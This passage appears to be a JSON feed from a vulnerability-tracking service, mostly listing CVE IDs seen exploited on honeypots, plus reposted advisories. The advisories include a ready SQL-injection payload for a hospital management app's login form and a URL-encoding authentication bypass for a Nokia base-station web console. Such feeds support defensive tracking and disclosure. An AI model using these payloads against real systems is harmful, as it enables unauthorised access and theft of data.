"1490d08a-1ae8-4965-83a4-7dbac73ac220", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:15:09.004703+00:00", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2024-29059", "author": {"login": "automation"}}, {"uuid": "0c863db5-ee40-47e2-bd1b-bc7e04e9ad71", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:15:08.939685+00:00", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2024-12912", "author": {"login": "automation"}}, {"uuid": "3b7b3da3-6ca7-4bd9-95cb-1928937a2b1b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:15:08.839519+00:00", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2023-4966", "author": {"login": "automation"}}, {"uuid": "94b50035-5b8d-494c-bae4-2c3fd71f7cc8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:15:08.786157+00:00", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2026-2699", "author": {"login": "automation"}}, {"uuid": "fa9f3590-a339-4661-9ee1-417d98b47738", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:15:08.731614+00:00", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2017-15944", "author": {"login": "automation"}}, {"uuid": "83259ece-f326-4782-97e8-280bf076a60c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:15:08.673163+00:00", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2025-2825", "author": {"login": "automation"}}, {"uuid": "f32e219f-218b-4757-8018-fd26478ec5e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:15:08.609565+00:00", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2025-30220", "author": {"login": "automation"}}, {"uuid": "58cab70b-ec5f-4c00-801c-bd8a179dca44", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:15:08.513716+00:00", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2023-46805", "author": {"login": "automation"}}, {"uuid": "436f7cfc-9fd4-4132-8e98-341b2cdfd7be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:15:08.449493+00:00", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2017-7927", "author": {"login": "automation"}}, {"uuid": "0bac3aa3-7d57-4dbd-ae35-b094e4e6827b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:15:08.350541+00:00", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2024-28995", "author": {"login": "automation"}}, {"uuid": "4697067e-744c-4d07-b073-04036cc5ca31", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:15:08.276464+00:00", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2025-29927", "author": {"login": "automation"}}, {"uuid": "644a711a-237d-4647-aa4e-836eae915965", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:15:08.204349+00:00", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2021-26855", "author": {"login": "automation"}}, {"uuid": "90b7f982-2d97-4d9d-b850-1d865729eb25", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:15:08.121283+00:00", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2023-22527", "author": {"login": "automation"}}, {"uuid": "936ad61e-6a9d-4adb-81b0-fad44d89f0c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:15:08.028478+00:00", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2025-3248", "author": {"login": "automation"}}, {"uuid": "6023dc8b-2402-492c-af76-89baa901f85d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:15:07.969242+00:00", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2026-2652", "author": {"login": "automation"}}, {"uuid": "be1f1470-f1b5-46a6-b565-e1d01a3f349c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:15:07.915999+00:00", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2021-27691", "author": {"login": "automation"}}, {"uuid": "038b3a7d-4a2d-471e-8b0a-0d7a59cec874", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:15:07.819867+00:00", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2023-22515", "author": {"login": "automation"}}, {"uuid": "785a8c2f-4aa9-461f-b79b-1bf94b759882", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:15:07.739377+00:00", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2025-0108", "author": {"login": "automation"}}, {"uuid": "084834a5-270a-4170-a0f0-11e226e5d970", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:15:07.644139+00:00", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2021-44228", "author": {"login": "automation"}}, {"uuid": "410cdaa0-21f8-46e3-bdd3-110c86983231", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:15:07.576353+00:00", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2025-34037", "author": {"login": "automation"}}, {"uuid": "d8d2ea57-af33-4dcd-86c0-674f9827283e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:15:07.526491+00:00", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2026-42271", "author": {"login": "automation"}}, {"uuid": "d3fd6993-aa76-4f04-9465-bb727d585048", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:15:07.450976+00:00", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2018-13379", "author": {"login": "automation"}}, {"uuid": "977a4a7d-a09c-4c01-aecf-6efdab55e881", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:15:07.396680+00:00", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2024-1709", "author": {"login": "automation"}}, {"uuid": "91723b38-c880-4bed-8210-62e52d11d669", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:15:07.329443+00:00", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2020-3452", "author": {"login": "automation"}}, {"uuid": "2cdf130a-48c2-40ae-98bf-596ca05f2fd0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:15:07.228636+00:00", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2026-41940", "author": {"login": "automation"}}, {"uuid": "42e5e948-c1d5-479a-bcb5-46b39c1f5d73", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:15:07.153613+00:00", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2025-5777", "author": {"login": "automation"}}, {"uuid": "4989ab49-462c-4aad-8c01-60e22ec04ef6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:15:07.090375+00:00", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2025-34043", "author": {"login": "automation"}}, {"uuid": "dc13dc22-db09-4bff-9960-f5fe41a0c401", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:15:06.938936+00:00", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2016-6277", "author": {"login": "automation"}}, {"uuid": "e86d70fe-5eb0-4dc0-beca-b223cc7e16cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:15:04.835765+00:00", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2019-1653", "author": {"login": "automation"}}, {"uuid": "55952429-232d-488d-9809-d7218207fe89", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:15:04.766998+00:00", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2015-2051", "author": {"login": "automation"}}, {"uuid": "2bb697cc-1b67-4cef-8b15-b5431b3f6ac1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:15:04.705663+00:00", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2025-34036", "author": {"login": "automation"}}, {"uuid": "59b6079e-5478-4cb6-afbb-26e3e861a596", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:15:04.603836+00:00", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2017-9841", "author": {"login": "automation"}}, {"uuid": "37d458da-0e15-4d2e-a383-5fed6cb062c2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:15:04.488399+00:00", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2025-55182", "author": {"login": "automation"}}, {"uuid": "d63357e6-5f30-42eb-a608-7c30d259e145", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:15:04.389778+00:00", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2021-42013", "author": {"login": "automation"}}, {"uuid": "7d598542-9602-4f75-bcb1-e48653b091bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:15:04.292975+00:00", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2023-38646", "author": {"login": "automation"}}, {"uuid": "103a9f99-5169-4cde-90fb-e9a4c3055965", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:15:04.191215+00:00", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2019-12780", "author": {"login": "automation"}}, {"uuid": "00b81ebb-9c10-4439-bd18-fb8a45864229", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:15:04.088698+00:00", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2024-12847", "author": {"login": "automation"}}, {"uuid": "198882b1-3bd7-465f-92a2-18e210f0caea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:15:03.987432+00:00", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2018-10562", "author": {"login": "automation"}}, {"uuid": "63a1fe68-ae13-436a-b248-81a5ef72e482", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:15:03.878636+00:00", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2016-10372", "author": {"login": "automation"}}, {"uuid": "3255e561-e2ae-4043-a9ae-41dc2c148a6d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:15:03.773995+00:00", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2023-20198", "author": {"login": "automation"}}, {"uuid": "6ddf5929-1aba-4a4c-9317-401a134e5032", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:15:03.658587+00:00", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2014-8361", "author": {"login": "automation"}}, {"uuid": "e2c08394-2545-424d-bfcc-04a87373f726", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:15:03.528528+00:00", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2017-17215", "author": {"login": "automation"}}, {"uuid": "97743e71-af5b-4b93-b06e-c1fc71badf52", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:11:21.362851+00:00", "type": "seen", "source": "https://bsky.app/profile/deafnews-auto.bsky.social/post/3mutqwl6vhc2z", "content": "Docker CVE-2026-34040: Ten-Year AuthZ Bypass via a Single Padded HTTP Request", "vulnerability": "CVE-2026-34040", "author": {"login": "automation"}}, {"uuid": "b75a9369-0cc4-4772-aca0-5b4936c36db4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:00:08.455134+00:00", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2021-26086", "author": {"login": "automation"}}, {"uuid": "7bcc40fa-7f24-4f14-8558-b9d585b152d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:00:08.406266+00:00", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2019-7256", "author": {"login": "automation"}}, {"uuid": "2b5cfae4-c4df-4948-a054-c83fedaee45b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:00:08.348896+00:00", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2021-29442", "author": {"login": "automation"}}, {"uuid": "1a860ff5-7c92-4a80-befe-8b335a5f99a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:00:08.259471+00:00", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2018-10562", "author": {"login": "automation"}}, {"uuid": "2a14c327-0b10-4998-ad8b-ec36954f1b4c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:00:08.202069+00:00", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2023-4634", "author": {"login": "automation"}}, {"uuid": "581b6e28-6bec-4450-bd3b-6c6cc0402292", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:00:08.139144+00:00", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2025-34036", "author": {"login": "automation"}}, {"uuid": "3470138e-58c7-4a1e-809a-096e5fcb8573", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:00:08.077001+00:00", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2023-26067", "author": {"login": "automation"}}, {"uuid": "2620d1a2-43eb-4e43-8e4d-2334997856fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:00:08.018386+00:00", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2021-34993", "author": {"login": "automation"}}, {"uuid": "5e0ba3fa-6bb6-4949-acc1-322aa42624fc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:00:07.958181+00:00", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2024-10914", "author": {"login": "automation"}}, {"uuid": "1efd3d32-3706-41b6-9397-07d23868c8cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:00:07.903644+00:00", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2018-0127", "author": {"login": "automation"}}, {"uuid": "b171ef96-a5fd-4b34-b086-90307998518d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:00:07.847453+00:00", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2021-45092", "author": {"login": "automation"}}, {"uuid": "e469e727-7333-42c4-98d6-04c886a3b667", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:00:07.792198+00:00", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2025-34031", "author": {"login": "automation"}}, {"uuid": "68ec27c8-1d82-49fb-8683-457d7f773178", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:00:07.745452+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/42811", "content": "Dropping Files on a Domain Controller Using CVE-2021-43893\nhttps://www.reddit.com/r/redteamsec/comments/ssgrou/dropping_files_on_a_domain_controller_using/\n\n  submitted by    /u/dmchell  (https://www.reddit.com/user/dmchell) \n [link] (https://www.rapid7.com/blog/post/2022/02/14/dropping-files-on-a-domain-controller-using-cve-2021-43893/)   [comments] (https://www.reddit.com/r/redteamsec/comments/ssgrou/dropping_files_on_a_domain_controller_using/)\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2021-43893", "author": {"login": "automation"}}, {"uuid": "a09037ec-536f-45ef-bbdf-c8ba0569c802", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:00:07.713775+00:00", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2022-26352", "author": {"login": "automation"}}, {"uuid": "5a841d72-96dd-4558-b780-fc2c0559cb74", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:00:07.699143+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/42384", "content": "Exploit Collector\nHospital Management Startup 1.0 SQL Injection\n\nhttps://4.bp.blogspot.com/-yT3eHciMBDw/WWlvGfUXh9I/AAAAAAAAILU/lYidSj08G0suEfC69x80tZFrj-NYN5F9wCLcBGAs/s1600/h137.png \nHospital Management Startup version 1.0 suffers from a remote SQL injection vulnerability.\n\nMD5 | b58e6761039ae3e688db4b3b03140ee3\n\nDownload\n## Title: Hospital Management Startup v1.0 remote SQL-Injections\n## Author: nu11secur1ty\n## Date: 02.10.2022\n## Vendor: https://github.com/kabirkhyrul\n## Software: https://github.com/kabirkhyrul/HMS\n## CVE-2022-23366\n\n## Description:\nThe loginid and password parameters from Hospital Management Startup\n1.0 appear to be vulnerable to SQL injection attacks.\nThe attacker can retrieve all information from the administrator\naccount of the system and he can use the information for malicious\npurposes!\nWARNING: If this is in some external domain, or some subdomain, or\ninternal, this will be extremely dangerous!\n\nStatus: CRITICAL\n[+] Payloads:\n\n```mysql\n---\nParameter: loginid (POST)\nType: time-based blind\nTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)\nPayload: loginid=hackedpassword=hacked' or '6681'='6681' AND\n(SELECT 1959 FROM (SELECT(SLEEP(3)))PuyC) AND\n'sDHP'='sDHP&rememberme=on&submit=Login\n---\n\n```\n## Reproduce:\n[href](https://github.com/nu11secur1ty/CVE-mitre/edit/main/2022/CVE-2022-23366)\n\n## Proof and Exploit:\n[href](https://streamable.com/hri9eo)\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-23366", "author": {"login": "automation"}}, {"uuid": "1a811437-e150-45ea-b73a-462fd84d19de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:00:07.640315+00:00", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2019-12725", "author": {"login": "automation"}}, {"uuid": "e3acdf36-e066-4f90-b8b8-a8e011a53f33", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:00:07.639844+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/42505", "content": "Exploit Collector\nNokia Transport Module Authentication Bypass\n\nhttps://2.bp.blogspot.com/-8IZk1MGzGDs/WWlvRc2I8KI/AAAAAAAAINM/SaF41lFV3n4aBJrQBjJ2SaVGr7WaiJo3gCLcBGAs/s1600/h34.png \nThe TRS web console allows an authenticated user to remotely manage the BTS and its configuration. Analysis discovered an authentication bypass vulnerability in the web management console. BTS TRS web console version FTM_W20_FP2_2019.08.16_0010 is affected.\n\nMD5 | 4f32f0cecdf17e2dffb9e31e654386dd\n\nDownload\ntitle: Nokia Transport Module Authentication Bypass\ncase id: CM-2020-02\nproduct: BTS TRS web console (FTM_W20_FP2_2019.08.16_0010)\nvulnerability type: Authentication Bypass\nseverity: Critical\nfound: 2020-09-28\nCVE: CVE-2021-31932\nby: Cristiano Maruti (@cmaruti)\n\n[EXECUTIVE SUMMARY]\n\nThe TRS web console allows an authenticated user to remotely manage the BTS\nand its configuration. The analysis discovered an authentication bypass\nvulnerability (CWE-289) in the web management console. A malicious\nunauthenticated user can get access to all the functionalities exposed via\nthe web panel circumventing the authentication process. The vulnerability\nlies in the way the web server in use (lighttpd) protects restricted\nresources and how special characters are encoded and pass to the underline\nCGIs. A successful attack can read data from the BTS and read, modify or\ndelete BTS configuration.\n\n[VULNERABLE VERSIONS]\n\nThe following version of the TRS web console was affected by the\nvulnerability; previous versions may be vulnerable as well:\n- BTS TRS web console (FTM_W20_FP2_2019.08.16_0010)\n\n[TECHNICAL DETAILS]\n\nIt is possible to reproduce the vulnerability following these steps:\n1. Open a web browser and insert the BTS TRS web console IP\n2. Navigate to a protected resource (for example\n/protected/ShowErrorLog.cgi)\n3. Subsitute the dot character with the corresponding URL encoded value\n(%2e)\n4. Resulting URL\n(/protected/ShowErrorLog%2ecgi?token=thisIsNotTheRightToken)\ngive access without prompt for any authentication credential\n\nBelow a full transcript of the HTTP request used to get access to a\nprotected\nresource.\n\nHTTP Request\n-------------------------------------------------------------------------------\nGET /protected/ShowErrorLog%2Ecgi?token=thisIsNotTheRightToken HTTP/1.1\nHost: \nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2021-31932", "author": {"login": "automation"}}, {"uuid": "139496a4-27c1-4b51-bd76-6f128a3ed3fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:00:07.595505+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/42319", "content": "Black Hat Ethical Hacking\nPHP Everywhere RCE flaws threaten thousands of WordPress sites\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png PHP Everywhere RCE flaws threaten thousands of WordPress sitesPost Views: 176 https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/BECOME-A-PATRON-AND-UNLOCK-EXCLUSIVE-VIDEOS-1.png Reading Time: 1 Minute\nResearchers found three critical remote code execution (RCE) vulnerabilities in the \u2018PHP Everywhere\u2019 plugin for WordPress, used by over 30,000 websites worldwide.\nPHP Everywhere is a plugin that allows WordPress admins to insert PHP code in pages, posts, the sidebar, or any Gutenberg block, and use it to display dynamic content based on evaluated PHP expressions. Three RCE flawsThe three vulnerabilities were discovered by security analysts at Wordfence\u00a0and can be exploited by contributors or subscribers, affecting all WordPress versions from 2.0.3 and below.\n\nHere\u2019s a short description of the flaws:\n\n* CVE-2022-24663\u00a0\u2013 Remote code execution flaw exploitable by any subscriber\u00a0 by allowing them to send a request with the \u2018shortcode\u2019 parameter set to PHP Everywhere, and execute arbitrary PHP code on the site. (CVSS v3 score: 9.9)\n* CVE-2022-24664\u00a0\u2013 RCE vulnerability exploitable by contributors via the plugin\u2019s metabox. An attacker would create a post, add a PHP code metabox, and then preview it. (CVSS v3 score: 9.9)\n* CVE-2022-24665\u00a0\u2013 RCE flaw exploitable by contributors who have the \u2018edit_posts\u2019 capability and can add PHP Everywhere Gutenberg blocks. Default security setting on vulnerable plugin versions isn\u2019t on \u2018admin-only\u2019 as it should be. (CVSS v3 score: 9.9)\n\nWhile the last two flaws aren\u2019t easily exploitable as they require contributor-level permissions, the first vulnerability is a lot more open to broader exploitation as it can be exploited by just being a subscriber on the site.\n\nFor example, a logged-in customer on a site is considered a \u2018subscriber,\u2019\u00a0so merely registering on the target platform would be enough to gain enough privileges for malicious PHP code execution.\n\nIn all cases, executing arbitrary code on a site can lead to a complete site takeover, which is the worst possible scenario in website security.\nSee Also: Complete Offensive Security and Ethical Hacking Course Fix only for Block editorWordfence\u2019s team discovered the vulnerabilities on January 4, 2022, and informed the author of PHP Everywhere of its findings.\n\nThe vendor released a security update on January 10, 2022, with version 3.0.0, which took a major version number bump because it required a substantial code rewrite.\n\nWhile the developers fixed the update last month, it is not uncommon for admins to not regularly update their WordPress site and plugins. According to the download stats\u00a0on WordPress.org, only 15,000 installs out of 30,000 have updated the plugin since the bugs were fixed.\nSee Also: Windows vulnerability with new public exploits lets you become admin Therefore, due to the severity of these vulnerabilities, all users of PHP Everywhere are strongly advised to make sure they have upgraded to PHP Everywhere version 3.0.0, which is the latest available at this time.\n\nNote that if you\u2019re using the Classic Editor on your site, you will need to uninstall the plugin and find another solution for hosting custom PHP code on its components.\n\nThat is because version 3.0.0 only supports PHP snippets via the Block editor, and it\u2019s unlikely that the author will work on restoring functionality for the sun-setting Classic.\nSee Also: Offensive Security Tool: Stratus Red Team\nAre u a security 